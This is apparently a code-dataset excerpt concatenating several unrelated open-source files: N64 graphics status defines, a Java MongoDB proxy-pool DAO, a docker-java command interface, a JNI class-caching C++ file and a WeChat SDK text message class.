#define SP_STATUS_IOFULL 0x0010
#define SP_STATUS_SSTEP 0x0020
#define SP_STATUS_INTR_BREAK 0x0040
#define SP_STATUS_SIGNAL0 0x0080
#define SP_STATUS_SIGNAL1 0x0100
#define SP_STATUS_SIGNAL2 0x0200
#define SP_STATUS_SIGNAL3 0x0400
#define SP_STATUS_SIGNAL4 0x0800
#define SP_STATUS_SIGNAL5 0x1000
#define SP_STATUS_SIGNAL6 0x2000
#define SP_STATUS_SIGNAL7 0x4000
#define DP_STATUS_XBUS_DMA 0x01
#define DP_STATUS_FREEZE 0x02
#define DP_STATUS_FLUSH 0x04
#define DP_STATUS_START_GCLK 0x008
#define DP_STATUS_TMEM_BUSY 0x010
#define DP_STATUS_PIPE_BUSY 0x020
#define DP_STATUS_CMD_BUSY 0x040
#define DP_STATUS_CBUF_READY 0x080
#define DP_STATUS_DMA_BUSY 0x100
#define DP_STATUS_END_VALID 0x200
#define DP_STATUS_START_VALID 0x400
#define GET_GFX_INFO(member) (gfx_info.member)
#define DRAM GET_GFX_INFO(RDRAM)
#define SP_DMEM GET_GFX_INFO(DMEM)
#define SP_IMEM GET_GFX_INFO(IMEM)
#endif
| 755 |
555 | <filename>proxypool-web/src/main/java/com/cv4j/proxy/web/dao/impl/ProxyDaoImpl.java<gh_stars>100-1000
package com.cv4j.proxy.web.dao.impl;
import com.cv4j.proxy.web.config.Constant;
import com.cv4j.proxy.web.dao.ProxyDao;
import com.cv4j.proxy.web.domain.ProxyData;
import com.cv4j.proxy.web.domain.ResourcePlan;
import com.cv4j.proxy.web.dto.ProxyDataDTO;
import com.cv4j.proxy.web.dto.QueryProxyDTO;
import com.mongodb.WriteResult;
import com.safframework.tony.common.utils.Preconditions;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Sort;
import org.springframework.data.mongodb.core.MongoTemplate;
import org.springframework.data.mongodb.core.query.Criteria;
import org.springframework.data.mongodb.core.query.Query;
import org.springframework.data.mongodb.core.query.Update;
import org.springframework.stereotype.Component;
import java.util.*;
/**
* Created by tony on 2017/11/16.
*/
@Component
@Slf4j
public class ProxyDaoImpl implements ProxyDao {
@Autowired
private MongoTemplate mongoTemplate;
@Override
public boolean saveProxy(ProxyData proxyData) {
proxyData.setLastSuccessfulTime(new Date().getTime());
mongoTemplate.save(proxyData, Constant.COL_NAME_PROXY);
return Preconditions.isNotBlank(proxyData.getId());
}
@Override
public List<ProxyData> findProxyByCond(QueryProxyDTO queryProxyDTO, boolean isGetAll) {
Query query = new Query();
if(Preconditions.isNotBlank(queryProxyDTO.getType()) && !"all".equals(queryProxyDTO.getType())) {
query.addCriteria(Criteria.where("proxyType").is(queryProxyDTO.getType()));
}
if(Preconditions.isNotBlank(queryProxyDTO.getIp()) && !"all".equals(queryProxyDTO.getIp())) {
query.addCriteria(Criteria.where("proxyAddress").regex(".*?"+queryProxyDTO.getIp()+".*"));
}
if(queryProxyDTO.getMinPort() != null) {
query.addCriteria(Criteria.where("proxyPort").gte(queryProxyDTO.getMinPort()).lte(queryProxyDTO.getMaxPort()));
}
if(!isGetAll) {
if(Preconditions.isNotBlank(queryProxyDTO.getSort())) {
if("asc".equals(queryProxyDTO.getOrder())) {
query.with(new Sort(Sort.Direction.ASC, queryProxyDTO.getSort()));
} else {
query.with(new Sort(Sort.Direction.DESC, queryProxyDTO.getSort()));
}
} else {
query.with(new Sort(Sort.Direction.DESC, "lastSuccessfulTime"));
query.with(new Sort(Sort.Direction.ASC, "proxyPort"));
}
int skip = (queryProxyDTO.getPage() - 1) * queryProxyDTO.getRows();
query.skip(skip);
query.limit(queryProxyDTO.getRows());
}
return mongoTemplate.find(query, ProxyData.class, Constant.COL_NAME_PROXY);
}
@Override
public List<ProxyDataDTO> findLimitProxy(int count) {
Query query = new Query();
query.limit(count);
query.with(new Sort(Sort.Direction.DESC, "lastSuccessfulTime"));
query.with(new Sort(Sort.Direction.ASC, "proxyPort"));
return mongoTemplate.find(query, ProxyDataDTO.class,Constant.COL_NAME_PROXY);
}
@Override
public boolean updateProxyById(String id) {
Query query = new Query(Criteria.where("id").is(id));
Update update = new Update();
update.set("lastSuccessfulTime", new Date().getTime()); //最近一次验证成功的时间
WriteResult writeResult = mongoTemplate.updateFirst(query, update, ProxyData.class,Constant.COL_NAME_PROXY);
return writeResult!=null && writeResult.getN() > 0;
}
@Override
public boolean deleteProxyById(String id) {
Query query = new Query(Criteria.where("id").is(id));
WriteResult writeResult = mongoTemplate.remove(query, ProxyData.class, Constant.COL_NAME_PROXY);
return writeResult!=null && writeResult.getN() > 0;
}
@Override
public void deleteAll() {
mongoTemplate.dropCollection(Constant.COL_NAME_PROXY);
}
@Override
public Map<String, Class> getProxyMap() {
Map<String, Class> proxyMap = new HashMap<>();
List<ResourcePlan> list = mongoTemplate.findAll(ResourcePlan.class, Constant.COL_NAME_RESOURCE_PLAN);
if (Preconditions.isNotBlank(list)) {
for(ResourcePlan plan : list) {
if(plan.getProxyResource().getPageCount() == 1) {
//如果pageCount=1,代表是单页面的资源
String key = plan.getProxyResource().getWebUrl();
try {
if(!proxyMap.containsKey(key)) {
proxyMap.put(key, Class.forName(plan.getProxyResource().getParser()));
}
} catch(ClassNotFoundException e) {
log.info("ClassNotFoundException = "+e.getMessage());
}
} else {
for(int i=plan.getStartPageNum(); i<=plan.getEndPageNum(); i++) {
String key = plan.getProxyResource().getPrefix() + i + plan.getProxyResource().getSuffix();
try {
if(!proxyMap.containsKey(key)) {
proxyMap.put(key, Class.forName(plan.getProxyResource().getParser()));
}
} catch(ClassNotFoundException e) {
log.info("ClassNotFoundException = "+e.getMessage());
}
}
}
}
}
return proxyMap;
}
@Override
public List<ProxyData> takeRandomTenProxy() {
List<ProxyData> list = mongoTemplate.findAll(ProxyData.class);
if (Preconditions.isNotBlank(list)) {
Collections.shuffle(list);
return list.size()>10?list.subList(0,10):list;
} else {
return new ArrayList<>();
}
}
}
| 3,011 |
2,381 | package com.github.dockerjava.api.command;
import com.github.dockerjava.api.model.Info;
public interface InfoCmd extends SyncDockerCmd<Info> {
interface Exec extends DockerCmdSyncExec<InfoCmd, Info> {
}
}
| 70 |
1,433 | <gh_stars>1000+
/******************************************************************
*
* Copyright 2015 Samsung Electronics All Rights Reserved.
*
*
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************/
#include "JavaClasses.h"
#include "JNIEnvWrapper.h"
jclass g_cls_String;
jclass g_cls_Integer;
jclass g_cls_Double;
jclass g_cls_Boolean;
jclass g_cls_ArrayList;
jclass g_cls_Set;
jclass g_cls_Map;
jclass g_cls_MapEntry;
jclass g_cls_Iterator;
jmethodID g_method_Boolean_booleanValue;
jmethodID g_method_Integer_intValue;
jmethodID g_method_Double_doubleValue;
jmethodID g_method_Collection_add;
jmethodID g_method_Set_iterator;
jmethodID g_method_Map_entrySet;
jmethodID g_method_Map_put;
jmethodID g_method_MapEntry_getKey;
jmethodID g_method_MapEntry_getValue;
jmethodID g_method_Iterator_hasNext;
jmethodID g_method_Iterator_next;
jmethodID g_ctor_Boolean;
jmethodID g_ctor_Integer;
jmethodID g_ctor_Double;
jmethodID g_ctor_ArrayList;
namespace
{
inline void initPrimitiveTypes(JNIEnvWrapper *env)
{
g_cls_Boolean = env->FindClassAsGlobalRef(CLS_NAME_BOOLEAN);
g_ctor_Boolean = env->GetConstructorID(g_cls_Boolean, "(Z)V");
g_method_Boolean_booleanValue = env->GetMethodID(g_cls_Boolean, "booleanValue", "()Z");
g_cls_Integer = env->FindClassAsGlobalRef(CLS_NAME_INTEGER);
g_ctor_Integer = env->GetConstructorID(g_cls_Integer, "(I)V");
g_method_Integer_intValue = env->GetMethodID(g_cls_Integer, "intValue", "()I");
g_cls_Double = env->FindClassAsGlobalRef(CLS_NAME_DOUBLE);
g_ctor_Double = env->GetConstructorID(g_cls_Double, "(D)V");
g_method_Double_doubleValue = env->GetMethodID(g_cls_Double, "doubleValue", "()D");
g_cls_String = env->FindClassAsGlobalRef(CLS_NAME_STRING);
}
}
void initJavaClasses(JNIEnvWrapper *env)
{
initPrimitiveTypes(env);
auto clsCollection = env->FindClass(CLS_NAME_COLLECTION);
g_method_Collection_add = env->GetMethodID(clsCollection, "add",
"(" AS_SIG(CLS_NAME_OBJECT) ")Z");
g_cls_ArrayList = env->FindClassAsGlobalRef(CLS_NAME_ARRAY_LIST);
g_ctor_ArrayList = env->GetConstructorID(g_cls_ArrayList, "()V");
g_cls_Set = env->FindClassAsGlobalRef(CLS_NAME_SET);
g_method_Set_iterator = env->GetMethodID(g_cls_Set, "iterator", "()" AS_SIG(CLS_NAME_ITERATOR));
g_cls_Map = env->FindClassAsGlobalRef(CLS_NAME_MAP);
g_method_Map_entrySet = env->GetMethodID(g_cls_Map, "entrySet", "()" AS_SIG(CLS_NAME_SET));
g_method_Map_put = env->GetMethodID(g_cls_Map, "put",
"(" AS_SIG(CLS_NAME_OBJECT) AS_SIG(CLS_NAME_OBJECT) ")" AS_SIG(CLS_NAME_OBJECT));
g_cls_MapEntry = env->FindClassAsGlobalRef(CLS_NAME_MAP_ENTRY);
g_method_MapEntry_getKey = env->GetMethodID(g_cls_MapEntry, "getKey",
"()" AS_SIG(CLS_NAME_OBJECT));
g_method_MapEntry_getValue = env->GetMethodID(g_cls_MapEntry, "getValue",
"()" AS_SIG(CLS_NAME_OBJECT));
g_cls_Iterator = env->FindClassAsGlobalRef(CLS_NAME_ITERATOR);
g_method_Iterator_hasNext = env->GetMethodID(g_cls_Iterator, "hasNext", "()Z");
g_method_Iterator_next = env->GetMethodID(g_cls_Iterator, "next", "()" AS_SIG(CLS_NAME_OBJECT));
}
void clearJavaClasses(JNIEnvWrapper *env)
{
env->DeleteGlobalRef(g_cls_Boolean);
env->DeleteGlobalRef(g_cls_Integer);
env->DeleteGlobalRef(g_cls_Double);
env->DeleteGlobalRef(g_cls_String);
env->DeleteGlobalRef(g_cls_Set);
env->DeleteGlobalRef(g_cls_Map);
env->DeleteGlobalRef(g_cls_MapEntry);
env->DeleteGlobalRef(g_cls_Iterator);
}
| 1,775 |
930 | package com.foxinmy.weixin4j.tuple;
import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
/**
* 文本对象
* <p>
* <font color="red">可用于「客服消息」「群发消息」及企业号的「聊天消息」</font>
* </p>
*
* @className Text
* @author jinyu(<EMAIL>)
* @date 2014年9月29日
* @since JDK 1.6
* @see
*/
public class Text implements MassTuple, NotifyTuple, ChatTuple {
private static final long serialVersionUID = 520050144519064503L;
@Override
public String getMessageType() {
return "text";
}
/**
* 内容
*/
private String content;
@JSONCreator
public Text(@JSONField(name = "content") String content) {
this.content = content;
}
public String getContent() {
return content;
}
@Override
public String toString() {
return "Text [content=" + content + "]";
}
}
| 353 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.